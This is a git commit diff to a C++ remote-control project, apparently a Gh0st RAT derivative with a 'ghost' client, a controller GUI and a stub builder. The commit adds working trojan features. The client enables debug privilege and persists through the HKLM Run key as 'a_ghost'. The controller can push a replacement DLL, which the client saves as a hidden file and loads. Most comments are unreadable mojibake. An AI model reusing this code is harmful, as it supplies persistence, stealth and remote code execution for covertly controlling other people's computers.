feat: Update client build and add remote update feature

This commit is contained in:
yuanyuanxiang
2024-12-28 18:35:34 +08:00
parent 48260b367f
commit 8aa42d5db2
17 changed files with 346 additions and 53 deletions

View File

@@ -238,6 +238,7 @@ reorg: Move commands to common/commands.h
此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
2024.12.28
修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。
主控程序增加显示被控端版本信息,以便未来针对老版本实现在线更新的能力。
1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。
2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。
3.完善生成服务程序的功能。

View File

@@ -9,11 +9,13 @@
#include "KernelManager.h"
using namespace std;
// Զ<>̵<EFBFBD>ַ
char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0;
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD><CBB3><EFBFBD>
// Զ<EFBFBD>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0};
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL g_bExit = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
BOOL g_bThreadExit = 0;
@@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
enum { E_RUN, E_STOP } status;
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
@@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
status = E_RUN;
if (argc < 3)
if (!SetSelfStart(argv[0], REG_NAME))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
return -1;
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
}
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
if (ERROR_ALREADY_EXISTS == GetLastError())
{
@@ -58,12 +115,16 @@ int main(int argc, const char *argv[])
}
SetConsoleCtrlHandler(&callback, TRUE);
const char *szServerIP = argv[1];
int uPort = atoi(argv[2]);
printf("[server] %s:%d\n", szServerIP, uPort);
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
if (argc>=3)
{
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
}
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Sleep(3000);
return -1;
}
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
do{
g_bExit = 0;
@@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
g_bExit = false;
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
g_bExit = FALSE;
g_SETTINGS.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
if (hThread == NULL) {
@@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
#endif
@@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
while (!g_bExit)
{
DWORD dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
continue;

View File

@@ -10,10 +10,9 @@
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KernelManager.h"
#include "KernelManager.h"
extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort;
extern CONNECT_ADDRESS g_SETTINGS;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
SIZE_T dwStackSize,
@@ -53,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
Manager m(ClientObject, n);
ClientObject->RunEventLoop(pInfo->run);

View File

@@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName)
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
}
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -34,7 +34,7 @@ public:
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);

View File

@@ -5,6 +5,10 @@
#include "stdafx.h"
#include "KernelManager.h"
#include "Common.h"
#include <iostream>
#include <fstream>
#include <corecrt_io.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() {
return -1;
}
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
{
if (size > 32 * 1024 * 1024) {
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
return FALSE;
}
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.new");
if (_access(path, 0)!=-1)
{
DeleteFileA(path);
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile)
{
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
return FALSE;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
outFile.write(data, size);
if (outFile.good())
{
std::cout << "Binary data written successfully to " << filePath << std::endl;
}
else
{
std::cerr << "Failed to write data to file." << std::endl;
outFile.close();
return FALSE;
}
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
outFile.close();
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << filePath << std::endl;
}
return TRUE;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_UPDATE:
{
if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL;
}
ULONGLONG size=0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
extern BOOL g_bExit;
g_bExit = 3;
}
break;
}
default:
{
OutputDebugStringA("======> Error operator\n");

View File

@@ -11,6 +11,8 @@ typedef void (*StopRun)();
typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopRun stop = NULL;
@@ -18,7 +20,7 @@ StopRun stop = NULL;
IsStoped bStop = NULL;
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
IsStoped bExit = NULL;
IsExit bExit = NULL;
BOOL status = 0;
@@ -90,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType)
return TRUE;
}
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
BOOL Run(const char* argv1, int argv2);
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
// [settings]
// localIp=XXX
@@ -103,44 +108,100 @@ int main(int argc, const char *argv[])
}
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
char path[_MAX_PATH], *p = path;
do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort));
if (ret == 1) {
return -1;
}
} while (status == 0);
status = 0;
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
BOOL Run(const char* argv1, int argv2) {
BOOL result = FALSE;
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p+1, "ServerDll.dll");
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}else if (ok){
std::cout << "Using new file: " << newFile << std::endl;
}
}
HMODULE hDll = LoadLibraryA(path);
typedef void (*TestRun)(char* strHost,int nPort);
typedef void (*TestRun)(char* strHost, int nPort);
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
if (run)
{
char *ip = g_ConnectAddress.szServerIP;
int &port = g_ConnectAddress.iPort;
char* ip = g_ConnectAddress.szServerIP;
int& port = g_ConnectAddress.iPort;
strcpy(p + 1, "settings.ini");
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
} else {
strcpy(ip, argv1);
port = argv2;
}
else {
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
}
printf("[server] %s:%d\n", ip, port);
do
do
{
run(ip, port);
while(bStop && !bStop() && 0 == status)
while (bStop && !bStop() && 0 == status)
Sleep(20);
} while (bExit && !bExit() && 0 == status);
while(bStop && !bStop() && 1 == status)
while (bStop && !bStop() && 1 == status)
Sleep(20);
if (bExit) {
result = bExit();
}
if (!FreeLibrary(hDll)) {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
else {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
}
}
else {
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>.\n");
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000);
}
status = 0;
return -1;
}
return result;
}

View File

@@ -9,6 +9,8 @@
#define FLAG_FINDEN 0x1234567
#define FLAG_GHOST 0x7654321
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define DLL_VERSION "20241228" // DLL<4C>
@@ -84,6 +86,7 @@ enum
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
@@ -139,6 +142,16 @@ typedef struct CONNECT_ADDRESS
unsigned long dwFlag;
char szServerIP[_MAX_PATH];
int iPort;
const char* ServerIP()const {
return szServerIP;
}
int ServerPort()const {
return iPort;
}
void SetServer(const char* ip, int port) {
strcpy_s(szServerIP, ip);
iPort = port;
}
} CONNECT_ADDRESS ;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ

Binary file not shown.

View File

@@ -125,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
InitializeCriticalSection(&m_cs);
}
@@ -153,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
@@ -631,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
}
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
@@ -644,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
fileSize = 0;
try {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ֻ<EFBFBD><D6BB>ģʽ<C4A3><CABD>
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
fileSize = file.GetLength();
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>: ͷ+<2B>ļ<EFBFBD><C4BC><EFBFBD>С+<2B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
if (!buffer) {
return NULL;
}
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
return buffer;
}
catch (CFileException* e) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>
TCHAR errorMessage[256];
e->GetErrorMessage(errorMessage, 256);
e->Delete();
return NULL;
}
}
void CMy2015RemoteDlg::OnOnlineUpdate()
{
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.dll");
ULONGLONG fileSize = 0;
char *buffer = ReadFileToMemory(path, fileSize);
if (buffer) {
buffer[0] = COMMAND_UPDATE;
SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
delete[] buffer;
}
else {
AfxMessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: "+ CString(path));
}
}
void CMy2015RemoteDlg::OnOnlineDelete()
{

View File

@@ -72,13 +72,14 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CBitmap m_bmOnline[2];
CBitmap m_bmOnline[3];
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
afx_msg void OnNotifyShow();

View File

@@ -202,8 +202,10 @@
<ItemGroup>
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\delete.bmp" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

View File

@@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T(""))
@@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
}
@@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk()
BYTE * szBuffer=NULL;
DWORD dwFileSize;
UpdateData(TRUE);
int index = m_ComboExe.GetCurSel();
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
if (file.IsEmpty())
{
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
return CDialog::OnOK();
}
unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
